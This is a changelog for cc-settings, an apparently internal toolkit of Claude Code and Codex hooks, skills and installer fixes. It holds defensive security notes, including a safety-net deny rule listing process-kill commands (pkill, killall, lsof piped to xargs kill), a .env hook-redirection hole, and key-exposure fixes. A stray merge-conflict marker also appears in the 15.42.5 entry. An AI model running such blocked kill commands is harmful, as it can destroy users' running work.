Skip to content
v15.49.0MIT

Darkroom Engineering coding standards and reusable engineering workflows for Codex.

Changelog

All notable changes to cc-settings are documented here.

Versioning — cc-settings uses a single version number matching the installer (src/setup.ts VERSION constant, written to ~/.claude/.cc-settings-version sentinel). Historical entries below 10.0 predate this unification; the jump from v8.x to v10.x in April 2026 realigned the product version with the installer version that was already ahead.

[15.49.0] — 2026-10-05

security-reviewer now catches authorization checks that run but do not protect anything. A check with a missing await, a boolean result nobody reads, or a check on one id followed by an action on another passed review before, because the check was visibly there.

Adopted:

  • agents/security-reviewer.md auth-bypass checklist gains "Disconnected checks". For TypeScript apps with many authorized call sites it recommends gdp-ts, which makes a sensitive function demand a typed proof about the exact id it acts on. The gdp-ts library and skill stay per project: the skill only applies to codebases that already use it.

Files changed:

  • agents/security-reviewer.md
  • CHANGELOG.md, package.json, plugin.json, .claude-plugin/plugin.json, src/setup.ts (version)

[15.48.2] — 2026-10-05

The Linear setup docs now cover devs who already connected Linear through the claude.ai web or desktop app. That connector also shows up in Claude Code with a single login, so it brings back workspace switching unless it is disabled there.

Docs:

  • docs/settings-reference.md "Linear: one server per workspace": disable claude.ai Linear in /mcp (it keeps working in claude.ai chats), change its workspace only from claude.ai, and prefer /mcp over ENABLE_CLAUDEAI_MCP_SERVERS=false, which hides every connector.

Files changed:

  • docs/settings-reference.md
  • CHANGELOG.md, package.json, plugin.json, .claude-plugin/plugin.json, src/setup.ts (version)

[15.48.1] — 2026-10-05

/share-learning works again. The team-knowledge repo now accepts changes only through a pull request, so the skill's direct write to main failed every time with "Changes must be made through a pull request". It now writes the note to a knowledge/<name> branch and opens a PR, and the note reaches other agents once that PR merges.

Fixed:

  • skills/share-learning/SKILL.md creates a branch, writes or updates the note on it, opens the PR, and reports the PR URL. It also points at the repo's lint check, which enforces the 160-character summary limit.
  • docs/knowledge-system.md and .claude/AGENTS.md describe the PR-based write path.

Files changed:

  • skills/share-learning/SKILL.md
  • docs/knowledge-system.md
  • .claude/AGENTS.md
  • CHANGELOG.md, package.json, plugin.json, .claude-plugin/plugin.json, src/setup.ts (version)

[15.48.0] — 2026-10-05

Synced with Claude Code 2.1.289. Codex stays at 0.160.0. Teams behind a gateway that rejects structured outputs now have a documented switch, and the background command time limit is described correctly for interactive sessions.

Adopted:

  • CLAUDE_CODE_DISABLE_STRUCTURED_OUTPUTS (Claude Code 2.1.288) tracked in the manifest and docs/settings-reference.md. On Mantle or a gateway that refuses structured outputs, session titles, memory recall and prompt hooks fail without it. cc-settings does not set it.

Docs:

  • docs/settings-reference.md: the background command time limit applies only in unattended sessions (-p, Agent SDK, CI, cloud) since 2.1.288. Terminal, desktop app and VS Code sessions have no limit.
  • docs/hooks-reference.md: InstructionsLoaded from a subagent's file access carries agent_id, agent_type and effort (2.1.288).

Skipped: mods and plugin API additions (tracked in docs/plans/mods-migration.md), LSP requestTimeout, the claude purge rename, --max-findings, per-model /autocompact, and fix-only bullets. No dedupe: the new native rm and deny-rule fixes overlap safety-net.ts, which blocks where they prompt.

Files changed:

  • upstream/claude-code-manifest.json
  • docs/settings-reference.md
  • docs/hooks-reference.md
  • src/setup.ts, package.json, plugin.json, .claude-plugin/plugin.json
  • CHANGELOG.md

[15.47.1] — 2026-10-05

Devs in more than one Linear workspace no longer have to reconnect Claude Code every time they switch projects. docs/settings-reference.md now documents the team convention: each dev adds one Linear MCP server per workspace, named linear-<workspace>, at user scope. Claude Code keys MCP tokens by server name, so a single shared linear entry overwrote its login on every workspace switch. cc-settings still ships no Linear server.

Files changed: docs/settings-reference.md, version sites.

[15.47.0] — 2026-10-04

The safety net stops an agent from killing your browser while it stops a dev server. Stopping a test server with lsof -ti :3100 | xargs kill took down every Chromium window: without -sTCP:LISTEN, lsof also lists the browser that has the page open.

Added:

  • Safety-net rule that blocks kills chosen by search: pkill, killall, fuser -k, kill -1, and kill fed by pgrep, ps, pidof, or lsof without -sTCP:LISTEN, in a pipe (| xargs kill) or a substitution (kill $(…)). It also catches them inside bash -c.
  • kill <pid>, kill $VAR, kill $(cat pidfile) and lsof -ti tcp:<port> -sTCP:LISTEN | xargs kill stay allowed. The block message points to those.
  • Known gap: a search and a kill in separate commands (for p in $(lsof …); do kill $p; done) is not linked up.

Files changed:

  • src/hooks/safety-net.ts, tests/safety-net.test.ts
  • docs/security-reference.md
  • src/setup.ts, package.json, plugin.json, .claude-plugin/plugin.json
  • CHANGELOG.md

[15.46.0] — 2026-10-02

Synced with Claude Code 2.1.287 and Codex 0.160.0. An MCP server that stops connecting after the Claude Code update can now be fixed in cc-settings config without the parser dropping the fix.

Adopted:

  • bareElicitationCapability (Claude Code 2.1.287) in src/schemas/mcp.ts. 2.1.287 added URL prompts, such as sign-in, for MCP servers on the 2025-11-25 protocol. A server that no longer connects needs this flag, and the schema now keeps it.
  • CLAUDE_AX_PREPARK_MS (2.1.287) tracked in the manifest and docs/settings-reference.md.

Docs:

  • docs/settings-reference.md: alwaysLoad: false now defers every tool of a server, the OTel user_prompt event carries prompt_text that must be masked like prompt, and Opus 4.7+ and Fable default to a 1M window on Bedrock, Vertex, Foundry and the Claude apps gateway.

Skipped: Claude Mods (tracked in docs/plans/mods-migration.md) and the You should know built-in mod. Codex 0.160.0 touches no surface the installer writes.

Files changed:

  • src/schemas/mcp.ts, schemas/settings.schema.json, schemas/claude-json.schema.json
  • docs/settings-reference.md
  • upstream/claude-code-manifest.json
  • upstream/codex-manifest.json
  • src/setup.ts, package.json, plugin.json, .claude-plugin/plugin.json
  • CHANGELOG.md

[15.45.5] — 2026-10-02

The nightly auto-update finishes its install. On macOS it used to stop partway through every update, and the next setup.sh then failed with "Claude managed destination collision".

Fixed:

  • registerAutoUpdate in src/lib/schedule.ts writes the plist and skips the launchctl bootout and bootstrap when setup runs inside the auto-update launchd job (XPC_SERVICE_NAME equals the job label). A bootout from inside the job kills the caller and its children, so the install died after copying files and before writing the sentinel. launchd picks up a changed plist at the next login or the next setup.sh run from a terminal.
  • restoreAutoUpdateState skips the same reload inside the job, so recovery from a failed nightly install is not killed either.

Changed:

  • docs/troubleshooting.md names this as the usual cause of the collision error.

[15.45.4] — 2026-10-02

You can now measure what the hooks cost. bun run hooks:report shows how often each hook fires per session, and bun run hooks:bench times each synchronous hook on a sample payload without touching your real ~/.claude. Nothing about how hooks run changes.

Added:

  • src/scripts/hook-report.ts and src/lib/hook-frequency.ts count tool calls, prompts, turns and compactions in local transcripts, map them onto the matchers in config/40-hooks.json, and list the Stop hook durations Claude Code records. --bench <file> multiplies firings by measured latency.
  • src/scripts/hook-bench.ts replays each synchronous hook under a throwaway HOME and reports p50 and p95 per hook and per event.
  • Managed-files manifest version 17 and Codex runtime manifest version 15 install the three files. Run from an install, which has no config/, both scripts read the hooks in ~/.claude/settings.json.
  • With --bench, each tool's calls are priced with that tool's own latency row; a tool with no row is listed as unbenchmarked instead of borrowing another tool's timing.

[15.45.3] — 2026-10-01

A plugin dropped into ~/.claude/settings.json now trips the same session-start warning a rogue hook does, and the warning names the entries.

Fixed:

  • The settings fingerprint covers enabledPlugins, extraKnownMarketplaces and pluginConfigs as well as hooks. The session-start warning says which part changed and lists up to ten plugin entries added, removed or changed since the last setup run. A record from before 15.45.3 is checked for hooks only, with a one-line nudge, until setup rewrites it. On a 15.45.3 or later install, a record without the plugin hash is a mismatch.
  • The cc-settings and fast-jev-compaction marketplace entries belong to cc-settings: a setup run replaces a changed repo or sha under those names. Marketplaces and plugins you add stay. A setup run, including the unattended nightly auto-update, accepts the plugin keys on disk, whether or not a session has shown the warning.
  • The fingerprint does not cover the plugin cache, the plugin store records, or the plugin code itself, which Claude Code fetches from the marketplace's latest commit.
  • Setup re-fingerprints after its own claude plugin install step, which rewrites the plugin keys.

[15.45.2] — 2026-10-01

Reinstalling after CODEX_HOME moves no longer leaves duplicate cc-settings hooks in hooks.json, and setup stops warning about the [hooks] table that Codex keeps for its own trust records.

Fixed:

  • src/lib/codex-plugin.ts treats a hook group as cc-settings' own when its runner ends in darkroom/source/src/scripts/codex-hook.ts, whatever absolute path comes before it. Groups written under an old home are replaced on install and removed on uninstall.
  • The [hooks] warning in config.toml fires only for hook definitions, not for [hooks.state] trust records.
  • The "changed since cc-settings read it" error no longer claims a guarantee the check cannot give; the remaining unlocked window is marked as a known shortcut.
  • A restore over an unmergeable hooks.json has a test showing it throws before any write.

Changed:

  • The sentinel no longer records managed_hook_entries_hash, which nothing read. Existing sentinels that carry it still load, and the next install drops it.
  • docs/codex.md says hooks.json is rewritten as 2-space JSON and that rollback restores only cc-settings' groups.

[15.45.1] — 2026-10-01

Setup no longer fails when another tool, such as Programa, already has hooks in ~/.codex/hooks.json. cc-settings adds its hooks after the existing ones and removes only its own.

Fixed:

  • src/lib/codex-plugin.ts merges the Codex hooks into $CODEX_HOME/hooks.json by group instead of owning the whole file. Install, uninstall, rollback and failed-install recovery touch only groups whose handlers run the managed codex-hook.ts. A file it cannot merge into (symlink, invalid JSON, unexpected shape, a group mixing cc-settings and other handlers) still stops the install before any write.
  • A handler counts as ours only when every command field it has starts with bun --no-env-file "<managed runner>", so wrappers and lookalike paths survive. Light-profile install, uninstall and rollback no longer read hooks.json, and rollback checks it before any write. The temp file for a rewrite gets a unique name and is opened with wx.
  • The sentinel field is now managed_hook_entries_hash. A managed_hooks_hash from 15.44.0 is ignored, and the first install after the update cleans up that older whole-file copy by group.

[15.45.0] — 2026-10-01

Claude now asks clarifying questions through the question tool until every decision that changes the work is settled, and a turn can no longer end with the question stuck in prose. Before, progress could freeze on a decision nobody was asked about.

Changed:

  • AGENTS.md "Clarify Before Full Work Mode": any non-trivial solution opens with repeated rounds of up to 4 questions until no fork is left, and a mid-task decision is asked through the tool that turn. The "task size alone is not a reason to ask" line is gone.
  • output-styles/darkroom.md, skills/build, skills/fix, skills/refactor, docs/system-overview.md: say rounds, not one round.
  • Managed-file manifest version 16 ships the new hook.

Added:

  • src/hooks/ask-gate.ts, wired as a Stop hook: blocks a turn that ends in a prose question with no AskUserQuestion call and tells Claude to ask through the tool. Fails open on any error.
  • rules/style.md "Modern CSS": native popover, :has(), bounded @scope, text-box: trim-both cap alphabetic, and sibling-index() / sibling-count() with a static fallback. From the zeroheight post "New HTML and CSS features you should be using in your design system".

[15.44.0] — 2026-10-01

Codex now loads the darkroom plugin from the repo's root plugin.json and mcp.json, the same way it loads any other plugin. Codex ignores hooks in plugins of that format, so /cc update now writes the seven Codex hooks to $CODEX_HOME/hooks.json as your own hooks. After the update, open /hooks in Codex and trust them once more: they run from the new source path under $CODEX_HOME/darkroom/source.

Changed:

  • plugin.json and mcp.json at the repo root replace .codex-plugin/plugin.json. The Claude plugin keeps .claude-plugin/ and .mcp.json; a test keeps both MCP files on the same servers and URLs.
  • src/lib/codex-plugin.ts generates $CODEX_HOME/hooks.json from hooks/hooks.json with absolute paths to the managed source. The sentinel records managed_hooks_hash, and uninstall, rollback and a failed install remove or restore the file by that hash.
  • A full Codex install stops before writing anything when $CODEX_HOME/hooks.json exists and is not the one cc-settings wrote. Move those hooks into the [hooks] table of config.toml or delete the file, then rerun. It also warns when config.toml has a [hooks] table, because Codex warns about hooks defined in both places.
  • src/scripts/codex-hook.ts always runs hooks from its own checkout and refuses a PLUGIN_ROOT that points anywhere else. It keeps its data in $CODEX_HOME/plugins/data/darkroom-cc-settings, the directory the plugin hooks already used for handoffs and logs.
  • A cloned repo can no longer redirect the Codex hooks to its own code. Bun loads a .env from the folder it runs in, and Codex runs hooks in your project, so a .env with PLUGIN_ROOT=. could have run that repo's scripts outside the sandbox. The generated commands and the hook runner now pass --no-env-file.
  • The installer writes hooks.json only if nothing appeared there since its ownership check, failure recovery never overwrites a file or symlink at that path, and hook generation refuses an unquoted $PLUGIN_ROOT or a source path with quote characters.
  • The Codex runtime manifest moves to version 14, so earlier versions still describe what they installed.

[15.43.1] — 2026-10-01

PRs finish CI in about 7 minutes instead of 23. Jobs that repeated other jobs or gave the same answer on every OS are gone, and the slow full Windows suite runs after the merge instead of on every PR.

Changed:

  • .github/workflows/ci.yml: typecheck runs on Ubuntu only, since tsc output does not depend on the OS.
  • .github/workflows/ci.yml: test runs on Ubuntu and macOS for PRs and adds Windows only on pushes to main.
  • .github/workflows/ci.yml: install-e2e runs on Windows for PRs only. On Ubuntu and macOS it repeated files test already runs, and on main the full Windows suite covers it.
  • .claude/AGENTS.md: the landing note says which Windows checks run on a PR.

[15.43.0] — 2026-10-01

The adversarial verification skill is now /poke-holes instead of /verify. Claude Code 2.1.286 tells Claude to run any skill named verify right before each code commit, and ours starts a panel of three or four agents, so every commit would have paid for one. Say "poke holes in this", "double check this", or "are you sure?" to reach it as before. Also syncs with Claude Code 2.1.286 and Codex 0.159.3.

Adopted:

  • Claude Code 2.1.286 pre-commit verify guidance: skills/verify/ is renamed skills/poke-holes/, and its eval is renamed evals/poke-holes-adversarial-panel/. verify joins TOMBSTONE_SKILLS in src/lib/managed-skills.ts, so setup removes the old folder from ~/.claude/skills/. The Claude managed-file manifest moves to version 15 and the Codex runtime manifest to version 13, so earlier versions still describe what they installed. The skill no longer lists "verify" as a trigger word.
  • References in README.md, MANUAL.md, docs/skills.md, docs/frontmatter-reference.md, docs/claude-vs-codex.md, docs/skill-authoring.md, and the adhd, audit, harvest, qa, and review skills now name poke-holes.

Docs-only:

  • docs/settings-reference.md: the CLAUDE_CODE_MAX_RETRIES row notes that from 2.1.286 one retry limit covers a whole model call, at most 14 requests with the defaults.

Skipped: --bare scoping, the worktree-subagent double CLAUDE.md load fix, task tools in foreground subagents, permission-prompt and list UI changes, secret-redaction, MCP, auth, Remote Control, cloud, VS Code and Claude Tag fixes, and npm plugin source refusal. Codex 0.159.3 adds account security reminders only.

[15.42.6] — 2026-10-01

The Swift animation rule covers three cases it left open, taken from Paul Hudson's MIT-licensed SwiftUI agent skill (twostraws/swiftui-agent-skill). The rest of that skill is a full SwiftUI review checklist; install it as its own plugin rather than copying it here.

Changed:

  • rules/swift-animation.md: on iOS 26 and macOS 26 or later, use the @Animatable macro (with @AnimatableIgnored for values that cannot interpolate) instead of a hand-written animatableData.
  • rules/swift-animation.md: chain one animation after another through the completion: closure of withAnimation, not a delayed second call.
  • rules/swift-animation.md: flag the deprecated .animation(_:) that has neither a value: nor a body closure.

[15.42.5] — 2026-10-01

The daily auto-update kept skipping on developer machines. Any untracked file, uncommitted edit, feature branch, or local commit in the cc-settings checkout stopped the run, so a maintainer with one stray folder sat three releases behind without a notification. The job already installs from a fresh isolated clone of official main, so the checkout's state never reached the install; it only blocked it.

Fixed:

  • src/scripts/auto-update.ts drops the dirty-tree, staged-index, and history-ancestry gates on the enrolled checkout, along with the skipped-dirty and blocked-history statuses. The decision to run setup is now only whether official main carries a newer version than the installed one (computeDrift), so an install from a local branch at or above main's version is never downgraded.
  • The origin allowlist, the CC_EXPECTED_REPO path pin, the .git/config safety check, and the isolated, config-free clone are unchanged. SECURITY.md and docs/install.md describe the result.
  • tests/auto-update-script.test.ts proves a modified, staged, untracked, or feature-branch checkout still installs and is left byte-for-byte untouched. The two tests that asserted the removed gates are deleted as an intentional contract change.

Reaches an existing install on the next bash setup.sh. ||||||| parent of 4f4fc9f (docs(v15.42.6): fold three SwiftUI animation rules from twostraws/swiftui-agent-skill)

[15.42.4] — 2026-09-30

The knowledge-hint hook no longer shows notes from one project while you work in another. Team-knowledge notes can now carry a scope (the repo names they apply to) and a verified date. The /share-learning skill now writes tags that match what an agent actually types and opens each note with its rule.

Changed:

  • src/lib/knowledge-index.ts: parseIndexMarkdown reads an optional · scope: a, b suffix, placed before the tags. scope is optional in the cache schema, so existing caches still validate.
  • src/lib/knowledge-hint.ts: rankNotes drops a scoped note unless the current repo is in its scope. It resolves the repo only when a scoped note would otherwise be shown. repoNamesFrom derives the names from the origin remote and the checkout folder.
  • src/hooks/knowledge-hint.ts: finds the repo from the payload's cwd with a 2 s bounded git call. Outside a git repo, scoped notes stay hidden.
  • src/schemas/knowledge.ts, src/lib/lint-knowledge.ts: scope must list repo names. verified must be a real YYYY-MM-DD date and not in the future, and it warns after 180 days. schemas/knowledge.schema.json is regenerated.
  • skills/share-learning/SKILL.md: guidance for identifier tags, scope, and verified. The body opens with the rule.
  • docs/knowledge-system.md: documents the new fields and the index line format.
  • Tests for the scope parser, the ranker, repoNamesFrom, a hook run inside and outside a repo, and the new lint rules.

[15.42.3] — 2026-09-30

The status report no longer flags ENABLE_PROMPT_CACHING_1H as unset. v15.2.0 retired that variable in favor of the promptCacheTtl settings keys and v15.3.0 removes it from existing installs, so every status run since then showed one false "unset" warning.

Changed:

  • src/lib/status.ts: EXPECTED_ENV_VARS drops ENABLE_PROMPT_CACHING_1H.
  • docs/troubleshooting.md: what "Claude managed destination collision: src/node_modules" means (an install killed after copying files and before writing the sentinel) and how to recover.
  • docs/cache-strategy.md: the TTL section names the promptCacheTtl and subagentPromptCacheTtl settings keys cc-settings sets, not the retired env var.

[15.42.2] — 2026-09-30

The review-queue hook now has a test for the case where HEAD moves without a Claude commit, such as a pulled-down merge. Before, only the pure function was tested, so a broken hook wiring would have passed CI. Follows up the tests audit from 2026-09-28, which is now committed with the other audits.

Changed:

  • tests/review-queue.test.ts: runs the hook against a temp git repo, commits between two git pull calls, and checks the queue drains to 0.
  • docs/audits/tests-audit-2026-09-28.md: added.

[15.42.1] — 2026-09-30

Notes posted with /share-learning now include the one-line summary that team-knowledge requires. Without it, every new note failed the team-knowledge lint and showed up in INDEX.md as a cut-off first body line, which is all the knowledge-hint hook shows an agent before it decides to open the note. Closes #170.

Changed:

  • skills/share-learning/SKILL.md: the note template and frontmatter list include summary (one line, at most 160 characters, no ·, " or \, states the rule rather than the story). The body opens with the rule. The template assigns the note with a quoted heredoc, so quotes, backticks, and $ in the note stay literal.
  • src/schemas/knowledge.ts: summary is required, with the same limits team-knowledge's lint enforces; schemas/knowledge.schema.json is regenerated.
  • src/scripts/new-note.ts: scaffolds an empty summary, which fails lint until it is filled in.
  • docs/knowledge-system.md: the frontmatter contract documents summary.
  • tests/lint-knowledge.test.ts: cases for a missing, empty, too-long, and ·-containing summary; the existing fixtures carry a summary so each case checks only its own rule.

[15.42.0] — 2026-09-30

Adds the scroll, WebGL, and React Compiler rules from the harbor website findings (#168). Agents on harbor kept shipping these mistakes and a person had to catch them in review. Each rule is one line; the linked team-knowledge note holds the evidence.

Added:

  • rules/react-perf.md "Frame loops": write transform/opacity on the moving node instead of a custom property that feeds layout; gate infinite animations and per-frame writes on visibility; a "can't be avoided" comment on a layout read is a claim to test, not a waiver; no toDataURL() images in styles.
  • profiles/webgl.md: Lenis runs at Tempus order -1 and scroll readers run after it; WebGL objects follow a DOM box; no hamo measurement hooks inside WebGLTunnel children; values that must cancel share scroll, rounding, and event. The Tempus and vanilla Lenis examples now use the current order API (lower runs first). The old example said higher runs first.
  • rules/react.md: a ref in a useEffect dependency array means the effect should not exist; destructure refs carried in an object to *Ref names; breakpoint visibility through desktop-only / mobile-only, not useMediaQuery.
  • rules/style.md: Satus routes compose in page.tsx as server components; strip <filter> from Figma SVG exports.
  • agents/reviewer.md: three questions on scroll-driven writes, DOM boxes for WebGL, and Tempus order.

[15.41.1] — 2026-09-30

.claude/AGENTS.md now names ci-gate as the only check a cc-settings PR needs before merging. The org ruleset "Default branch gate" requires it on every repo's default branch; darky/review is not required by any ruleset and can stay pending without blocking the merge.

Changed:

  • .claude/AGENTS.md: the Landing line.
  • skills/cc/SKILL.md: the sync-mode landing note.
  • upstream/codex-manifest.json: synced to Codex 0.159.2. Nothing to adopt; 0.159.1 makes GPT-6.1 Sol the catalog default, which the bridge already pins, and 0.159.2 is a Windows-only fix.

[15.41.0] — 2026-09-29

Your own global instructions now have a home that survives updates: ~/.claude/personal.md. The installed ~/.claude/CLAUDE.md imports it last, so it loads in every Claude Code session and subagent. Setup creates it once and never replaces, backs up, rolls back, or removes it. Edits to ~/.claude/CLAUDE.md itself are still saved to backups/ and replaced on the next install; the warning and the auto-update log now point at personal.md. Codex does not read the file.

Added:

  • CLAUDE-FULL.md: a closing "Personal instructions" section with @personal.md.
  • src/lib/claude-install-ownership.ts: ensurePersonalInstructionsFile writes a short stub with an exclusive create, only on a full install, and the file is never recorded in managed_files.
  • tests/install-e2e.test.ts: fresh install creates the stub; an edit survives reinstall with no backup; rollback and uninstall leave it.

Docs:

  • docs/install.md: a row for personal.md; the CLAUDE.md row describes the backup instead of the collision stop it had before 15.39.3; adding a TypeSafe key later uses claude plugin configure --values-stdin.
  • README.md: "What it leaves alone" names personal.md.

Files changed:

  • CLAUDE-FULL.md
  • README.md
  • docs/install.md
  • src/lib/claude-install-ownership.ts
  • src/scripts/auto-update.ts
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json
  • tests/install-e2e.test.ts

[15.40.1] — 2026-09-29

The Windows test job passes again, and the docs say that main takes changes only through a PR.

Fixed:

  • tests/claude-bridge.test.ts: the fake claude gets a .cmd entry point through prependTestPath, so Windows finds it on PATH, and its log paths go through gitBashPath.
  • tests/delegation-detector.test.ts: sets USERPROFILE next to HOME, because homedir() reads USERPROFILE on Windows and the settings-env test never saw its fixture.
  • tests/plugin-key-stdin.test.ts: runs on Windows too, with the same helpers, instead of skipping there.

Docs:

  • .claude/AGENTS.md: main is protected; changes land through a PR that passes ci-gate and darky/review, merged by hand.
  • skills/cc/SKILL.md: the sync mode no longer claims it never opens a PR.

Files changed:

  • .claude/AGENTS.md
  • skills/cc/SKILL.md
  • tests/claude-bridge.test.ts
  • tests/delegation-detector.test.ts
  • tests/plugin-key-stdin.test.ts
  • src/setup.ts, package.json, .claude-plugin/plugin.json, .codex-plugin/plugin.json

[15.40.0] — 2026-09-29

Sync with Claude Code 2.1.285 and Codex 0.159.0. The TypeSafe key no longer appears in process arguments during setup.

Adopted:

  • The key reaches the fast-jev plugin on stdin (Claude Code 2.1.285, src/lib/claude-install-settings.ts). Setup stores it with claude plugin configure fast-jev-compaction@fast-jev-compaction --values-stdin instead of claude plugin install … --config apiKey=<key>. Other accounts on a machine can read process arguments through ps, so the old form briefly exposed the key. On a Claude Code older than 2.1.285 the configure call fails and setup falls back to the argument form with a warning.
  • allowedProviders managed setting (2.1.285, src/schemas/settings.ts). Limits which API providers a machine may use. Added to the strict schema so a managed-settings file that sets it still parses.
  • CLAUDE_CODE_DISABLE_WEB_FETCH and CLAUDE_CODE_NONSTREAMING_TIMEOUT_RETRIES (2.1.285). Tracked and documented; cc-settings sets neither.
  • Status line spend fields (2.1.284, src/hooks/statusline.ts). rate_limits.spend_limit gains used_usd, limit_usd, and period in the payload type. No segment displays them yet.

Docs:

  • Ultracode is its own /effort toggle that stays on at any effort level and does not force xhigh (2.1.284). CLAUDE-FULL.md and docs/settings-reference.md say so.
  • Sessions with no configured permission mode start in auto mode (2.1.284, 2.1.285). cc-settings sets no defaultMode, so installs get auto mode.
  • Background Bash commands stop at their timeout, 30 minutes by default and 2 hours at most (2.1.285).
  • /cc sync opens a PR instead of pushing to main, which now requires the ci-gate workflow and the darky/review check.

Codex: nothing to adopt beyond GPT-6.1 Sol, already pinned in 15.39.5. tui.prompt_suggestions and the bundled plugin-creator skill were removed upstream; cc-settings used neither.

Files changed:

  • src/lib/claude-install-settings.ts
  • tests/plugin-key-stdin.test.ts
  • src/schemas/settings.ts
  • src/hooks/statusline.ts
  • upstream/claude-code-manifest.json
  • upstream/codex-manifest.json
  • docs/settings-reference.md
  • CLAUDE-FULL.md
  • skills/cc/SKILL.md

[15.39.5] — 2026-09-29

Codex execution work now runs on GPT-6.1 Sol, which Codex CLI 0.159.0 lists as its latest workhorse model and calls GPT-6 Sol "previous generation".

  • The bridge's exec default is gpt-6.1-sol. review and ask stay on gpt-6-astra. --model and CODEX_EXEC_MODEL still override it.
  • Native Codex agents mapped from the Sonnet tier (implementer, explore, reviewer, and the other execution roles) are written with gpt-6.1-sol. Haiku-tier agents stay on gpt-6-luna.
  • Existing installs pick up the new agent model on the next setup.sh run or auto-update.

[15.39.4] — 2026-09-29

Contributors without a working Codex CLI can commit again. The "Codex command policy" and "Codex CLI package acceptance" tests in tests/plugin-manifest.test.ts ran whenever something named codex was on PATH, including proxy shims such as cmux's, which answer with exit 127. Those tests sit in the pre-commit invariants hook, so the failure blocked every commit.

  • Both blocks now skip unless codex --version runs and prints a real Codex banner (codexCliAvailable).

[15.39.3] — 2026-09-29

setup.sh no longer stops when ~/.claude/CLAUDE.md or ~/.claude/AGENTS.md differs from what cc-settings installed. It saves the current file to ~/.claude/backups/<name>.user-edit-<timestamp>, prints that path, and installs the new version. Before, a hand edit, a deleted file, or an install from a clone with uncommitted changes to CLAUDE-FULL.md failed with "destination collision" or "missing or modified", and the only way out was restoring bytes by hand.

  • Only these two instruction files get this treatment. Hooks, scripts, agents, and generated ownership files still fail closed when modified.
  • --migrate-only, uninstall, and rollback keep the strict check.
  • The daily auto-update checks for new backups after setup and names the replaced file in its desktop notification, since setup's own warning only reaches the log.
  • A first install over a personal ~/.claude/CLAUDE.md or AGENTS.md now backs it up and installs, where it used to stop with "destination collision".

[15.39.2] — 2026-09-29

~/.claude/settings.json is readable only by its owner once it holds a TypeSafe key, as docs/install.md already promised. Since 15.21.3 the installer wrote the key into a file every account on the Mac could read (mode 644), because each settings write went through a fresh temp file created with default permissions and renamed over the target.

  • atomicWriteString keeps the target's existing permission bits on a rewrite, and takes an explicit mode for callers that need one. A new file still gets the default.
  • Writing the key sets the file to 600. A reinstall on a machine whose key is already in the settings env block tightens the file too, so existing installs are fixed by the next setup.sh run or auto-update.
  • Setup tightens settings.json to 600 after the claude plugin step, whenever the file holds the key and whatever source the key came from, so a key exported in the shell or injected by a Claude Code session is covered too.
  • The other copies of the key are owner-only as well: .cc-settings-baseline.json (which stores the merged settings), the backup-*.tar.gz archives, and the backups/ directory. Setup also tightens a backups/ directory and archives left at 755 and 644 by earlier installs.
  • Exposure was limited to Macs with more than one account: a single-user machine has no other account to read the file. Keys do not need rotating unless the machine is shared.

[15.39.1] — 2026-09-29

The Tech Stack in AGENTS.md now says what it always meant: its entries are defaults, not mandates. A project's config and lockfile win, and new work that departs from a default says why in the PR. Taken from Martin Fowler's Sensible Default: "do these practices, or do better, and be prepared to explain why."

  • The Bun-only rule names its real exceptions. npx react-doctor and npx deslop join npx expo, since /proof-of-work and the permission allowlist already run them through npx to resolve the lockfile-pinned binary.
  • /ship per-commit validation runs bunx tsc --noEmit && bunx biome check . instead of npx tsc.
  • /audit calls the deslop probe as npx deslop, matching /proof-of-work and the allowlist, instead of npx deslop-cli.
  • To stay inside the AGENTS.md byte ceiling, the SHORTCUT: paragraph drops its two tooling pointers (bun run lint:shortcuts and /audit debt). CI still enforces the linter, and the /audit description still lists the debt ledger.

[15.39.0] — 2026-09-29

/audit can now run every vertical at once. Say "full audit", "audit everything", or name two or more areas ("performance, code quality, and security") and it runs every applicable mode in parallel and ships one merged, ranked report. Before this, the router picked one mode per run, and security was easy to miss because Codebase mode does not hunt for it.

  • Full mode. The coordinator maps the repo once, then selects modes from evidence. Codebase, Threat-Model, and Debt always run. Performance runs when something can be measured, Tests when a suite exists, Docs when docs exist beyond a README, SEO for public websites, and Motion when an animation library is installed. Process runs only on request. It asks one question round up front (the mode list plus the threat-model and performance questions) so no reader stops mid-run.
  • One reader per mode, launched together. Threat-Model runs on security-reviewer. Readers return findings and write nothing; the coordinator deduplicates across modes, ranks on one scale, and runs the cross-model and team-knowledge passes once.
  • One report. docs/audits/full-audit-YYYY-MM-DD.md opens with a coverage table (ran, skipped with the reason, or available), then the merged summary, the first 10 to act on with their executor, and one section per mode.
  • The /audit description gains the "full audit" trigger and stays inside the description byte budget. MANUAL now lists Full and Tests among the audit modes.
  • New eval case: evals/audit-full-coverage.

[15.38.1] — 2026-09-29

The README now teaches day-to-day use, not only installation. New team members get a short path: install, run one read-only task, then learn the daily loop.

  • The daily loop. One table covering understand, plan, fix, build, check, prove, ship, and pause, with what to say, the skill to pin, and what comes back.
  • Set up the projects you work in. /dr-init for new projects, a project AGENTS.md for project instructions, /cc migrate for repositories that still have a CLAUDE.md, and /project for issue-driven work.
  • Habits that change results. Seven habits: outcome-first prompts, one task per session, handoff and checkpoint, effort, second opinions, the statusline, and inspecting before guessing.
  • Make it better for everyone. /share-learning, /harvest, /retro, and the short contributor checklist.
  • Keep it current. Update, auto-update, status, and rollback in one place.

[15.38.0] — 2026-09-29

/autoresearch now tells you whether a prompt change generalizes, instead of only whether it scores better on the inputs it was tuned against. Adapted from Anthropic's eval hill-climbing guidance:

  • Held-out inputs. RESEARCH.md gains a ## Held-out Inputs section. The loop scores it every round but never reads its outputs. A round is kept only when the held-out score also rises; a change that improves only the training inputs reverts with status overfit. /autoresearch derives 2 held-out inputs at setup when a seed has none, which is always the case for a /harvest seed.
  • Measured noise floor. The baseline now runs twice on the unchanged skill. If the two runs differ by min_improvement or more, the loop doubles samples once, then raises min_improvement to the measured noise, so a round cannot be kept on judge randomness. A baseline at 0.95 or higher stops setup and asks for harder inputs, because the eval has no room to show an improvement.
  • Judge check and baseline review. The baseline re-scores each training output and lists checklist items whose verdict flips on identical output, plus inputs that score 0 on every sample. Before round 1 the user sees one scored output with these lists and confirms the judge matches their own reading.
  • Stall review. After stall_rounds (default 3) rounds without a kept change, the loop sorts the remaining failures into ambiguous inputs, checklist bugs, harness errors and real skill failures. It fixes the first three in RESEARCH.md, re-measures the baseline, and aims later mutations only at real failures.

The final report leads with the held-out score against the baseline, and calls a gain no larger than the noise floor "no measurable change". lint:research warns on a missing held-out section, errors on an empty one, and checks stall_rounds is numeric. New eval case: evals/autoresearch-adds-held-out.

